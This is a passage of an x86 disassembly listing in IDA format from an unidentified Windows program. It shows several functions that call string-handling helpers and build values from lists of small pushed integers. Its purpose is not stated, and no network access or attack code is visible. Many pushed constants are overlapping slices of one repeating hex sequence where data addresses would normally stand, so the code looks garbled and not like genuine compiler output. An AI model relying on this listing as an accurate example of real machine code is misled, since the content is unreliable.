loc_40F757:				; CODE XREF: sub_40EB00+C4Fj
		push	19D2C4h
		lea	ecx, [esp+24h+var_8]
		call	sub_40138E
		test	eax, eax
		jz	short loc_40F772
		mov	byte ptr [esi+94h], 1
		jmp	short loc_40F778
; ---------------------------------------------------------------------------


loc_40F772:				; CODE XREF: sub_40EB00+C67j
		mov	[esi+94h], bl


loc_40F778:				; CODE XREF: sub_40EB00+C70j
		push	4CE962h
		lea	edx, [esp+24h+arg_274]
		push	ebx
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		push	2674B1h
		lea	ecx, [esp+24h+arg_3C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Ah
		call	sub_401622
		push	533A58h
		lea	edx, [esp+24h+arg_244]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Bh
		call	sub_401622
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 1Ch
		call	sub_401E65
		lea	ecx, [esp+20h+arg_244]
		mov	byte ptr [esp+20h+arg_246C], 1Bh
		call	sub_4011F9
		lea	ecx, [esp+20h+arg_3C4]
		mov	byte ptr [esp+20h+arg_246C], 1Ah
		call	sub_4011F9
		lea	ecx, [esp+20h+arg_274]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_4011F9
		push	299D2Ch
		lea	eax, [esp+24h+arg_DC]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		push	14CE96h
		lea	ecx, [esp+24h+arg_C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Dh
		call	sub_401622
		push	eax
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+24h+arg_246C], 1Eh
		call	sub_401E65
		lea	ecx, [esp+20h+arg_C4]
		mov	byte ptr [esp+20h+arg_246C], 1Dh
		call	sub_4011F9
		lea	ecx, [esp+20h+arg_DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_4011F9
		push	offset byte_4A674B
		lea	edx, [esp+24h+arg_13C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		push	2533A5h
		lea	ecx, [esp+24h+arg_10C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Fh
		call	sub_401622
		push	eax
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+24h+arg_246C], 20h
		call	sub_401E65
		mov	byte ptr [esp+20h+arg_246C], 1Fh
		lea	ecx, [esp+20h+arg_10C]
		call	sub_4011F9
		lea	ecx, [esp+20h+arg_13C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_4011F9
		push	1299D2h
		lea	edx, [esp+24h+arg_16C]
		push	2
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 21h
		call	sub_401E65
		lea	ecx, [esp+20h+arg_16C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_4011F9
		push	94CE9h
		lea	ecx, [esp+24h+var_8]
		call	sub_401479
		push	eax
		call	ds:dword_44A674
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_40F94D
		add	eax, 2
		push	eax
		jmp	short loc_40F952
; ---------------------------------------------------------------------------


loc_40F94D:				; CODE XREF: sub_40EB00+E45j
		push	22533Ah


loc_40F952:				; CODE XREF: sub_40EB00+E4Bj
		mov	ecx, esi
		call	sub_401564
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_401CB7
		cmp	esi, ebx
		jz	short loc_40F96F
		push	1
		mov	ecx, esi
		call	sub_4018FC


loc_40F96F:				; CODE XREF: sub_40EB00+E64j
		mov	ecx, edi
		call	sub_40137F
		jmp	loc_40FEC7
; ---------------------------------------------------------------------------


loc_40F97B:				; CODE XREF: sub_40EB00+BADj
		push	11299Dh
		lea	eax, [esp+24h+arg_19C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		mov	ecx, ds:dword_43FF84
		mov	byte ptr [esp+20h+arg_246C], 22h
		push	ecx
		mov	ecx, eax
		call	sub_4012B7
		test	eax, eax
		lea	ecx, [esp+20h+arg_19C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_4011F9
		cmp	[esp+20h+var_D], bl
		jz	loc_40FB50
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	edx, esp
		mov	[esp+38h+var_C], esp
		push	894CEh
		push	3
		push	edx
		call	sub_401622
		mov	esi, 8C2253h
		call	sub_401BAE
		cmp	eax, ebx
		jz	short loc_40FA42
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	eax, esp
		mov	[esp+38h+var_C], esp
		push	offset byte_461129
		push	3
		push	eax
		call	sub_401622
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 23h
		mov	ecx, esp
		mov	[esp+50h+arg_C], esp
		push	230894h
		push	3
		push	ecx
		lea	ecx, [esp+5Ch+var_8]
		call	sub_401622
		mov	ecx, 0C91844h
		mov	byte ptr [esp+50h+arg_246C], bl
		call	sub_401F87


loc_40FA42:				; CODE XREF: sub_40EB00+EF3j
		push	648C22h
		lea	edx, [esp+24h+arg_1CC]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		push	324611h
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 24h
		call	sub_401A7D
		test	eax, eax
		lea	ecx, [esp+20h+arg_1CC]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_4011F9
		cmp	[esp+20h+var_D], bl
		jz	loc_40FEC7
		push	592308h
		lea	eax, [esp+24h+arg_22C]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		push	6C9184h
		lea	ecx, [esp+24h+arg_1FC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 25h
		call	sub_401622
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 26h
		call	sub_401726
		push	eax
		lea	ecx, [esp+24h+arg_25C]
		call	sub_4017A8
		lea	ecx, [esp+20h+arg_1FC]
		mov	byte ptr [esp+20h+arg_246C], 29h
		call	sub_4011F9
		lea	ecx, [esp+20h+arg_22C]
		mov	byte ptr [esp+20h+arg_246C], 28h
		call	sub_4011F9
		mov	eax, 2B648Ch
		mov	[ebp+16h], bl
		call	sub_401726
		push	eax
		mov	eax, 0C95B24h
		call	sub_401726
		mov	edx, ds:dword_43FF5C
		push	eax
		push	edx
		push	6CAD92h
		push	ebp
		call	sub_401CDA
		add	esp, 14h
		lea	ecx, [esp+20h+arg_25C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_4011F9
		jmp	loc_40FEC7
; ---------------------------------------------------------------------------


loc_40FB50:				; CODE XREF: sub_40EB00+EC7j
		push	3656C9h
		lea	eax, [esp+24h+arg_28C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		mov	ecx, ds:dword_43FF78
		mov	byte ptr [esp+20h+arg_246C], 2Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012B7
		test	eax, eax
		lea	ecx, [esp+20h+arg_28C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_4011F9
		cmp	[esp+20h+var_D], bl
		jz	loc_40FD08
		push	1B2B64h
		lea	edx, [esp+24h+arg_2EC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		push	4D95B2h
		lea	ecx, [esp+24h+arg_2BC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 2Bh
		call	sub_401622
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 2Ch
		call	sub_401726
		push	eax
		lea	ecx, [esp+24h+arg_34]
		call	sub_4017A8
		lea	ecx, [esp+20h+arg_2BC]
		mov	byte ptr [esp+20h+arg_246C], 2Fh
		call	sub_4011F9
		lea	ecx, [esp+20h+arg_2EC]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_4011F9
		push	26CAD9h
		lea	ecx, [esp+24h+var_8]
		call	sub_401479
		mov	esi, ds:dword_4B3ADC
		push	eax
		call	esi
		add	esp, 8
		test	eax, eax
		jz	loc_40FCF3
		push	13656Ch
		lea	ecx, [esp+24h+var_8]
		call	sub_401479
		push	eax
		call	esi
		add	esp, 8
		lea	ecx, [esp+20h+arg_64]
		push	eax
		call	sub_4017A8
		push	9B2B6h
		lea	ecx, [esp+24h+arg_34]
		mov	byte ptr [esp+24h+arg_246C], 30h
		call	sub_4012B7
		test	eax, eax
		jz	short loc_40FCDF
		push	offset byte_44D95B
		lea	ecx, [esp+24h+arg_64]
		call	sub_4012B7
		test	eax, eax
		jz	short loc_40FCDF
		sub	esp, 18h
		lea	edx, [esp+38h+arg_34]
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	edx
		call	sub_40146F
		mov	ebx, 0CC4D95h
		call	sub_401BAE
		cmp	eax, ebx
		jz	short loc_40FCBB
		lea	ecx, [esp+20h+arg_64]
		push	ecx
		lea	ecx, [eax+19h]
		call	sub_401E65


loc_40FCBB:				; CODE XREF: sub_40EB00+11A9j
		push	6626CAh
		lea	ecx, [esp+24h+arg_34]
		call	sub_401A7D
		test	eax, eax
		jnz	short loc_40FCDF
		lea	edx, [esp+20h+arg_64]
		mov	ecx, 0EE626Ch
		push	edx
		call	sub_401E65


loc_40FCDF:				; CODE XREF: sub_40EB00+1173j
					; sub_40EB00+1188j ...
		lea	ecx, [esp+20h+arg_64]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_4011F9


loc_40FCF3:				; CODE XREF: sub_40EB00+1134j
		lea	ecx, [esp+20h+arg_34]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_4011F9
		jmp	loc_40FEC7
; ---------------------------------------------------------------------------


loc_40FD08:				; CODE XREF: sub_40EB00+109Cj
		push	7F3136h
		lea	eax, [esp+24h+arg_34C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		mov	ecx, ds:dword_43FF88
		mov	byte ptr [esp+20h+arg_246C], 31h
		push	ecx
		mov	ecx, eax
		call	sub_4012B7
		test	eax, eax
		jz	short loc_40FD8F
		push	3F989Bh
		lea	edx, [esp+24h+arg_31C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		mov	ecx, ds:dword_43FF98
		mov	byte ptr [esp+20h+arg_246C], 32h
		push	ecx
		mov	ecx, eax
		call	sub_4012B7
		test	eax, eax
		lea	ecx, [esp+20h+arg_31C]
		mov	byte ptr [esp+20h+arg_246C], 31h
		setz	[esp+20h+var_D]
		call	sub_4011F9
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_40FD94


loc_40FD8F:				; CODE XREF: sub_40EB00+1238j
		mov	[esp+20h+var_D], 1


loc_40FD94:				; CODE XREF: sub_40EB00+128Dj
		lea	ecx, [esp+20h+arg_34C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_4011F9
		cmp	[esp+20h+var_D], bl
		jz	loc_40FEC7
		push	5FCC4Dh
		lea	edx, [esp+24h+arg_37C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 33h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	6FE626h
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_401622
		mov	ecx, 29BF98h
		call	sub_401BAE
		lea	ecx, [esp+20h+arg_37C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_4011F9
		cmp	esi, ebx
		jz	loc_40FEC7
		push	14DFCCh
		lea	edx, [esp+24h+arg_3DC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 34h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset word_4A6FE6
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_401622
		push	6537F3h
		lea	edx, [esp+3Ch+arg_3AC]
		push	1
		push	edx
		lea	ecx, [esp+44h+var_8]
		mov	byte ptr [esp+44h+arg_246C], 35h
		call	sub_401622
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 36h
		mov	ecx, esp
		mov	[esp+50h+var_C], esp
		push	729BF9h
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_401622
		mov	edi, 0E9CA6Fh
		mov	byte ptr [esp+50h+arg_246C], 37h
		call	sub_401F87
		lea	ecx, [esp+20h+arg_3AC]
		mov	byte ptr [esp+20h+arg_246C], 34h
		call	sub_4011F9
		lea	ecx, [esp+20h+arg_3DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_4011F9
		jmp	short loc_40FEC7
; ---------------------------------------------------------------------------


loc_40FEC0:				; CODE XREF: sub_40EB00+391j
		mov	ecx, ebp
		call	sub_401BEA


loc_40FEC7:				; CODE XREF: sub_40EB00+1D3j
					; sub_40EB00+253j ...
		cmp	[ebp+17h], bl
		jnz	loc_40EB42


loc_40FED0:				; CODE XREF: sub_40EB00+3Cj
					; sub_40EB00+4Fj
		lea	ecx, [esp+20h+var_8]
		mov	[esp+20h+arg_246C], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+20h+arg_2464]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2484h
		retn
sub_40EB00	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 0B8h	dup(0CCh)
byte_40FFB8	db 448h	dup(0CCh)	; DATA XREF: _294ADE7B:00418892o

; =============== S U B	R O U T	I N E =======================================



sub_410400	proc near		; CODE XREF: sub_4018FCj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401893
		test	[esp+4+arg_0], 1
		jz	short loc_410418
		push	esi
		call	sub_430332
		add	esp, 4


loc_410418:				; CODE XREF: sub_410400+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_410400	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_410430	proc near		; CODE XREF: sub_401929j

var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	7CE537h
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		test	esi, esi
		jz	short loc_410456
		lea	edi, [esi+11h]
		jmp	short loc_410458
; ---------------------------------------------------------------------------


loc_410456:				; CODE XREF: sub_410430+1Fj
		xor	edi, edi


loc_410458:				; CODE XREF: sub_410430+24j
		push	0
		push	17h
		push	1
		push	12h
		push	4Fh
		lea	eax, [esp+5Ch+var_3C]
		push	9
		push	eax
		call	sub_4018DE
		add	esp, 1Ch
		push	edi
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 0
		call	sub_401726
		lea	ecx, [esi+250h]
		push	eax
		push	ecx
		mov	ecx, 0A9F394h
		call	sub_401523
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+48h+var_3C]
		mov	[esp+48h+var_4], edi
		call	sub_4011F9
		test	esi, esi
		jz	short loc_4104AC
		lea	ebx, [esi+11h]
		jmp	short loc_4104AE
; ---------------------------------------------------------------------------


loc_4104AC:				; CODE XREF: sub_410430+75j
		xor	ebx, ebx


loc_4104AE:				; CODE XREF: sub_410430+7Aj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	5
		push	12h
		push	4Fh
		lea	edx, [esp+74h+var_3C]
		push	9
		push	edx
		call	sub_4018DE
		add	esp, 34h
		push	ebx
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 1
		call	sub_401726
		push	eax
		lea	eax, [esi+27Eh]
		push	eax
		mov	ecx, 0EDCF9Ch
		call	sub_401523
		lea	ecx, [esp+48h+var_3C]
		mov	[esp+48h+var_4], edi
		call	sub_4011F9
		test	esi, esi
		jz	short loc_41050B
		lea	ebx, [esi+11h]
		jmp	short loc_41050D
; ---------------------------------------------------------------------------


loc_41050B:				; CODE XREF: sub_410430+D4j
		xor	ebx, ebx


loc_41050D:				; CODE XREF: sub_410430+D9j
		push	0
		push	14h
		push	12h
		push	1
		push	10h
		push	4Fh
		lea	ecx, [esp+60h+var_3C]
		push	9
		push	ecx
		call	sub_4018DE
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 2
		call	sub_401726
		lea	edx, [esi+1C6h]
		push	eax
		push	edx
		mov	ecx, 0F6E7Ch
		call	sub_401523
		lea	ecx, [esp+48h+var_3C]
		mov	[esp+48h+var_4], edi
		call	sub_4011F9
		test	esi, esi
		jz	short loc_410560
		lea	ebx, [esi+11h]
		jmp	short loc_410562
; ---------------------------------------------------------------------------


loc_410560:				; CODE XREF: sub_410430+129j
		xor	ebx, ebx


loc_410562:				; CODE XREF: sub_410430+12Ej
		push	0
		push	5
		push	4
		push	0Fh
		push	0Dh
		push	4Fh
		lea	eax, [esp+60h+var_3C]
		push	9
		push	eax
		call	sub_4018DE
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 3
		call	sub_401726
		lea	ecx, [esi+16Ah]
		push	eax
		push	ecx
		mov	edi, offset byte_487B73
		call	sub_401523
		lea	ecx, [esp+48h+var_3C]
		mov	[esp+48h+var_4], edi
		call	sub_4011F9
		test	esi, esi
		jz	short loc_4105B5
		lea	ebx, [esi+11h]
		jmp	short loc_4105B7
; ---------------------------------------------------------------------------


loc_4105B5:				; CODE XREF: sub_410430+17Ej
		xor	ebx, ebx


loc_4105B7:				; CODE XREF: sub_410430+183j
		push	0
		push	7
		push	13h
		push	0Dh
		push	4Fh
		lea	edx, [esp+5Ch+var_3C]
		push	9
		push	edx
		call	sub_4018DE
		add	esp, 1Ch
		push	ebx
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 4
		call	sub_401726
		push	eax
		lea	eax, [esi+1F4h]
		push	eax
		mov	esi, 587B7h
		call	sub_401523
		lea	ecx, [esp+48h+var_3C]
		mov	[esp+48h+var_4], edi
		call	sub_4011F9
		test	esi, esi
		jz	short loc_410608
		lea	ebx, [esi+11h]
		jmp	short loc_41060A
; ---------------------------------------------------------------------------


loc_410608:				; CODE XREF: sub_410430+1D1j
		xor	ebx, ebx


loc_41060A:				; CODE XREF: sub_410430+1D6j
		push	0
		push	5
		push	3
		push	9
		push	14h
		push	0Fh
		push	0Eh
		push	4Fh
		lea	ecx, [esp+68h+var_3C]
		push	9
		push	ecx
		call	sub_4018DE
		add	esp, 28h
		push	ebx
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 5
		call	sub_401726
		lea	edx, [esi+0B2h]
		push	eax
		push	edx
		mov	ebp, 0E0561Eh
		call	sub_401523
		lea	ecx, [esp+48h+var_3C]
		mov	[esp+48h+var_4], edi
		call	sub_4011F9
		test	esi, esi
		jz	short loc_410661
		lea	ebx, [esi+11h]
		jmp	short loc_410663
; ---------------------------------------------------------------------------


loc_410661:				; CODE XREF: sub_410430+22Aj
		xor	ebx, ebx


loc_410663:				; CODE XREF: sub_410430+22Fj
		push	0
		push	14h
		push	3
		push	5
		push	0Eh
		push	0Eh
		push	0Fh
		push	3
		push	13h
		push	9
		push	4
		push	4Fh
		lea	eax, [esp+78h+var_3C]
		push	9
		push	eax
		call	sub_4018DE
		add	esp, 38h
		push	ebx
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 6
		call	sub_401726
		lea	ecx, [esi+56h]
		push	eax
		push	ecx
		mov	eax, offset dword_4B8158
		call	sub_401523
		lea	ecx, [esp+48h+var_3C]
		mov	[esp+48h+var_4], edi
		call	sub_4011F9
		test	esi, esi
		jz	short loc_4106BF
		lea	ebx, [esi+11h]
		jmp	short loc_4106C1
; ---------------------------------------------------------------------------


loc_4106BF:				; CODE XREF: sub_410430+288j
		xor	ebx, ebx


loc_4106C1:				; CODE XREF: sub_410430+28Dj
		push	0
		push	14h
		push	13h
		push	0Fh
		push	8
		push	14h
		push	5
		push	7
		push	4Fh
		lea	edx, [esp+6Ch+var_3C]
		push	9
		push	edx
		call	sub_4018DE
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 7
		call	sub_401726
		push	eax
		lea	eax, [esi+10Eh]
		push	eax
		mov	edx, 0A52E05h
		call	sub_401523
		lea	ecx, [esp+48h+var_3C]
		mov	[esp+48h+var_4], edi
		call	sub_4011F9
		test	esi, esi
		jz	short loc_41071A
		lea	ebx, [esi+11h]
		jmp	short loc_41071C
; ---------------------------------------------------------------------------


loc_41071A:				; CODE XREF: sub_410430+2E3j
		xor	ebx, ebx


loc_41071C:				; CODE XREF: sub_410430+2E8j
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	14h
		push	5
		push	0Eh
		push	4Fh
		lea	ecx, [esp+6Ch+var_3C]
		push	9
		push	ecx
		call	sub_4018DE
		add	esp, 2Ch
		push	ebx
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 8
		call	sub_401726
		lea	edx, [esi+198h]
		push	eax
		push	edx
		mov	eax, 6DA970h
		call	sub_401523
		lea	ecx, [esp+48h+var_3C]
		mov	[esp+48h+var_4], edi
		call	sub_4011F9
		test	esi, esi
		jz	short loc_410775
		lea	ebx, [esi+11h]
		jmp	short loc_410777
; ---------------------------------------------------------------------------


loc_410775:				; CODE XREF: sub_410430+33Ej
		xor	ebx, ebx


loc_410777:				; CODE XREF: sub_410430+343j
		push	0
		push	0Eh
		push	9
		push	0Fh
		push	0Ah
		push	4Fh
		lea	eax, [esp+60h+var_24]
		push	9
		push	eax
		call	sub_4018DE
		add	esp, 20h
		push	ebx
		mov	ecx, eax
		mov	[esp+4Ch+var_4], 9
		call	sub_401726
		add	esi, 13Ch
		push	eax
		push	esi
		mov	ebp, 22DB52h
		call	sub_401523
		lea	ecx, [esp+48h+var_24]
		mov	[esp+48h+var_4], edi
		call	sub_4011F9
		mov	ecx, [esp+48h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
sub_410430	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4108D0	proc near		; CODE XREF: sub_4019D8j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	116DA9h
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+90h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+45h]
		call	sub_401726
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jz	loc_410DF9
		lea	ecx, [edi+26Dh]
		call	sub_401726
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jz	loc_410DF9
		lea	ecx, [edi+0A1h]
		call	sub_401726
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	loc_4109D2
		push	offset dword_48B6D4
		lea	eax, [esp+98h+var_6C]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_401622
		mov	ebp, eax
		push	245B6Ah
		lea	ecx, [esp+98h+var_84]
		push	1
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_401622
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401726
		push	eax
		mov	ecx, esi
		call	sub_401726
		mov	edx, ds:dword_43FF58
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	122DB5h
		push	edi
		call	sub_401CDA
		add	esp, 14h
		lea	ecx, [esp+94h+var_84]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_4011F9
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		jmp	loc_410E22
; ---------------------------------------------------------------------------


loc_4109D2:				; CODE XREF: sub_4108D0+70j
		lea	ecx, [edi+187h]
		call	sub_401726
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_410A49
		add	edi, 0FFFFFFEFh
		lea	eax, [esp+94h+var_6C]
		push	eax
		mov	ecx, edi
		call	sub_401C12
		mov	ecx, eax
		mov	[esp+94h+var_4], 2
		call	sub_401726
		push	eax
		push	offset word_4916DA
		lea	ecx, [esi+69h]
		call	sub_401479
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	edi
		call	sub_40178F
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		jmp	loc_410E22
; ---------------------------------------------------------------------------


loc_410A49:				; CODE XREF: sub_4108D0+117j
		lea	ecx, [edi+0FDh]
		call	sub_401726
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	loc_410B04
		push	648B6Dh
		lea	eax, [esp+98h+var_6C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_401622
		push	eax
		lea	ecx, [edi+17h]
		mov	[esp+98h+var_4], 3
		call	sub_4017D5
		or	ebp, 0FFFFFFFFh
		lea	ecx, [esp+94h+var_6C]
		mov	ebx, eax
		mov	[esp+94h+var_4], ebp
		call	sub_4011F9
		test	ebx, ebx
		jz	loc_410E22
		lea	ecx, [esp+94h+var_6C]
		add	edi, 0FFFFFFEFh
		push	ecx
		mov	ecx, edi
		call	sub_401C12
		mov	ecx, eax
		mov	[esp+94h+var_4], 4
		call	sub_401726
		push	eax
		push	7245B6h
		lea	ecx, [esi+69h]
		call	sub_401479
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	edi
		call	sub_40178F
		add	esp, 18h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], ebp
		call	sub_4011F9
		jmp	loc_410E22
; ---------------------------------------------------------------------------


loc_410B04:				; CODE XREF: sub_4108D0+18Ej
		lea	ecx, [edi+12Bh]
		call	sub_401726
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	loc_410BAD
		push	3922DBh
		lea	ecx, [esp+98h+var_84]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_401622
		mov	ebp, eax
		push	5C916Dh
		lea	edx, [esp+98h+var_6C]
		mov	esi, 2EE48Bh
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+0A0h+var_4], ebx
		call	sub_401622
		mov	esi, eax
		mov	ecx, ebp
		mov	byte ptr [esp+94h+var_4], 6
		call	sub_401726
		push	eax
		mov	ecx, esi
		call	sub_401726
		push	eax
		mov	eax, ds:dword_43FF5C
		push	eax
		add	edi, 0FFFFFFEFh
		push	177245h
		push	edi
		call	sub_401CDA
		add	esp, 14h
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], bl
		call	sub_4011F9
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		jmp	loc_410E22
; ---------------------------------------------------------------------------


loc_410BAD:				; CODE XREF: sub_4108D0+249j
		lea	ecx, [edi+1B5h]
		call	sub_401726
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_410C1B
		push	offset word_4BB922
		lea	ecx, [esp+98h+var_6C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_401622
		mov	ecx, eax
		mov	[esp+94h+var_4], 7
		call	sub_401726
		mov	edx, ds:dword_43FF88
		push	eax
		push	edx
		add	edi, 0FFFFFFEFh
		push	65DC91h
		push	edi
		call	sub_401CDA
		add	esp, 10h
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		jmp	loc_410E22
; ---------------------------------------------------------------------------


loc_410C1B:				; CODE XREF: sub_4108D0+2F2j
		lea	ecx, [edi+23Fh]
		call	sub_401726
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_410C7D
		lea	eax, [esp+94h+var_6C]
		push	9
		push	eax
		mov	ecx, esi
		call	sub_401CF8
		mov	ecx, eax
		mov	[esp+94h+var_4], 8
		call	sub_401726
		push	eax
		add	edi, 0FFFFFFEFh
		push	72EE48h
		push	edi
		call	sub_401CDA
		add	esp, 0Ch
		lea	ecx, [esp+94h+var_6C]
		mov	[esp+94h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		jmp	loc_410E22
; ---------------------------------------------------------------------------


loc_410C7D:				; CODE XREF: sub_4108D0+360j
		lea	ecx, [edi+1E3h]
		call	sub_401726
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	loc_410D1D
		push	397724h
